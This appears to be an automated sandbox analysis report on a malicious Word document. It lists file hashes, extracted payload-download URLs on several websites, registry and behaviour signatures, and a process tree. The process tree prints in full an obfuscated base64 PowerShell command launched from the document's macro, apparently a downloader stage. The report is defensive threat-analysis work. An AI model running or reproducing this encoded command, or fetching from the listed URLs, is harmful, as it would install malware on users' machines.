Analysis
-
max time kernel
160s -
max time network
189s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
20-05-2022 15:27
Static task
static1
Behavioral task
behavioral1
Sample
47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc
Resource
win10v2004-20220414-en
General
-
Target
47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc
-
Size
197KB
-
MD5
a860a6111edd723a6d8019aabff264be
-
SHA1
0d4d323a7e118dcbcc6d2ccebb1da7de2a411672
-
SHA256
47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee
-
SHA512
951c2149cde55216631becef177b03aaee4f6fcf4f242a8428936f6460b49db6a3e47e0d2f40137594bd876b1d028d856c786b3ae72128fa0a4a409eb33784c8
Malware Config
Extracted
https://haicunoi.ro/cgi-bin/2TX/
https://crosscountrysupply.com/wp-includes/OpF/
https://akuntansi.widyakartika.ac.id/wp-content/uploads/tEEe/
https://giangocngan.com/css/vK/
http://ebe.dk/_borders/cZJi/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
powershell.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1140 3156 powershell.exe -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 13 1140 powershell.exe 31 1140 powershell.exe 37 1140 powershell.exe 48 1140 powershell.exe 50 1140 powershell.exe 57 1140 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3040 WINWORD.EXE 3040 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 1140 powershell.exe 1140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1140 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE 3040 WINWORD.EXE
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\47f3f87bc57341c15aaf9fc6736ed513185e8347dcd6bed30b3248a5bbec92ee.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3040
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e IABpAE4AVgBPAGsARQAtAEUAWABQAHIAZQBTAHMAaQBvAE4AIAAoACAAbgBFAFcALQBvAGIAagBFAEMAdAAgAEkATwAuAEMAbwBtAHAAcgBFAFMAUwBJAE8ATgAuAGQARQBmAEwAYQB0AEUAUwB0AHIAZQBBAG0AKAAgAFsAUwBZAFMAdABlAE0ALgBJAE8ALgBNAGUATQBPAFIAeQBzAFQAUgBFAEEAbQBdAFsAQwBPAG4AVgBlAHIAVABdADoAOgBmAFIAbwBNAGIAQQBzAGUANgA0AHMAVAByAGkATgBHACgAKAAnAFgAWgBKAFIAYgA5AE0AdwBGAEkAWAAvACcAKwAnAFMAJwArACcAaAA0AGkAJwArACcAdQBWAFcAcABEAGQAUABnAFkAVgBHAGsAMwBkAFoAYgB0AEUAMABhAEIASQBhAEkASwAnACsAJwBxAFQASQBjAFcANQBUADQAOQBTAE8AWQAnACsAJwBxAGQAcABxAGYAcgBmADgAWQBCAHUAQwBEAC8AZQArADkAMQA3AGoAJwArACcAbwA4AGQAUAB3AEUAJwArACcAQQBCADkAaQBuADUAQwBGAGYARgBXAFYASgBrAHIAagBOAHkAbQBJAHMAJwArACcAZQBXAHAAdwBuACcAKwAnAE4AdgBxAEIAJwArACcAMAAnACsAJwBvAGYAUABhAEsAbgAzADcAQgBhAHQAZwAnACsAJwBxAE4AVAAyAEsALwBnAE0AVgArAGwAJwArACcAWgBLAE4AJwArACcAOQA1ACcAKwAnADIANwBZAG0AJwArACcAdwBqAGwAQgB5AE0AVgAnACsAJwBiAFMAJwArACcAMwAnACsAJwBUACcAKwAnAEQAWgBxAFgAaQAnACsAJwBuAEQATABwADQAJwArACcASwAnACsAJwBkACcAKwAnAG4AMABHACcAKwAnAFoARwArAGQAawAnACsAJwAzAFkAdwB2AGoAJwArACcAKwAnACsAJwA0AG8AZQAnACsAJwB2AGEAQQAnACsAJwA1AFYAMgAnACsAJwB5ADgAWgB1AHIAbwAnACsAJwB4ACcAKwAnAHMAaAB4AG8AZAArADkAJwArACcAagBkAHYAdgBKAEMAJwArACcAQgAxAFEAWQBwACcAKwAnACsAaQBvADYAbwAnACsAJwBQAFEAbwB2AGQASwBDAHkAJwArACcAbwAnACsAJwBrACcAKwAnAFYAZgBYAHoAbABMAFQARwBCACcAKwAnAHkAZABzADYAJwArACcARgBvACcAKwAnAHIAJwArACcAYQBzAGYAJwArACcAOAAnACsAJwB6AFEAMgArAFQAagBkACcAKwAnAEsAbQBNAFoASwAwACcAKwAnAHcAJwArACcAagB6AFcAMABZADYAJwArACcAeAAzAFkAJwArACcAUABmACcAKwAnAC8AcQBoAGoAUgBYAFMAVwByAE8AeQBzAG4AMgBOAHYAVwBOACcAKwAnAHkAZABhADgAWQBvAFYAJwArACcAKwAnACsAJwA2ACcAKwAnAFYAJwArACcAdgBrAEoAdQBTAGIAJwArACcAVABKAE0ANQBCADgAcgAnACsAJwBKACcAKwAnAE0AeQBWAGoAcwAnACsAJwBjADQAQwBRAFMAWgBaAEwAeQBBAEMAaQBOAEMASQBmACcAKwAnADMAbAAnACsAJwArAEUAJwArACcAUQBvAGgATgAnACsAJwBjAHIAQQAnACsAJwBwACsAYgB3ACcAKwAnAEUAdgBnACcAKwAnAEsAcgAnACsAJwBRACsAJwArACcAMwBuAEEAdgBaAEwAJwArACcAVwArACcAKwAnAGcAMABSAHIATwA3AEcAJwArACcAaAB6ADIAWABXACcAKwAnAC8AWABxAHMAVQAnACsAJwBaACsAVQA1AG0ANQB4ADAAegBRACcAKwAnAG4ARwAnACsAJwBQAEoARgAnACsAJwBuAGIASABvAFgAYwAnACsAJwBUAE8ASgA3AEsAQwBFAEkAUgBzAHAARQBmADUATwBkAEgAawAnACsAJwBOAE8AeAAvACcAKwAnAE4ARABVAEcANQBIADgAMwB6AFAAMgA3AEQAcQAnACsAJwBCACcAKwAnAFgAJwArACcAOABUAHYAZQBnAEYAdwAvAG8AZAA1AEYAOQAnACsAJwBCAHAAawBTAHYARgByAGIASQB5ACsAJwArACcARAA1AGIAJwArACcAaAAxAE4ASgBoAG4ANgArACcAKwAnAFoAMwBIADcAJwArACcAVAAnACsAJwA4AHcAYgBkAEUAMABmAGgAUABOAEcANAAnACsAJwB3AHUAMwA0AFkAegBqAFkANQAzAFoAbQBjACcAKwAnADEALwAnACsAJwBrAGMAJwArACcAbQA4AGUAJwArACcATwBDACcAKwAnADgAJwArACcAdwB4AFMAbwByAEwATQBaAHMAQgBKAFUAZwBYAEwATwBqAG0AJwArACcAZABwAFAAQgB5AGMAJwArACcAegAnACsAJwB5AGQANAB1ADEAUwBjAHgANgBJAFQAMwBuACcAKwAnADQAUgBIAEEAWgBaAEgAOAAnACsAJwBCACcAKQApACwAWwBJAE8ALgBDAG8ATQBQAHIARQBTAFMASQBvAG4ALgBDAG8AbQBQAFIARQBTAHMAaQBPAE4ATQBPAGQARQBdADoAOgBkAEUAQwBvAE0AUAByAEUAUwBzACkAIAB8ACUAIAB7ACAAbgBFAFcALQBvAGIAagBFAEMAdAAgACAASQBPAC4AcwB0AFIARQBBAG0AcgBlAGEAZABlAFIAKAAgACQAXwAgACwAIABbAFQAZQB4AHQALgBlAG4AQwBPAGQASQBuAEcAXQA6ADoAYQBTAGMASQBJACkAfQB8ACUAIAB7ACAAJABfAC4AUgBlAEEARABUAE8ARQBuAEQAKAApAH0AIAApACAA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1140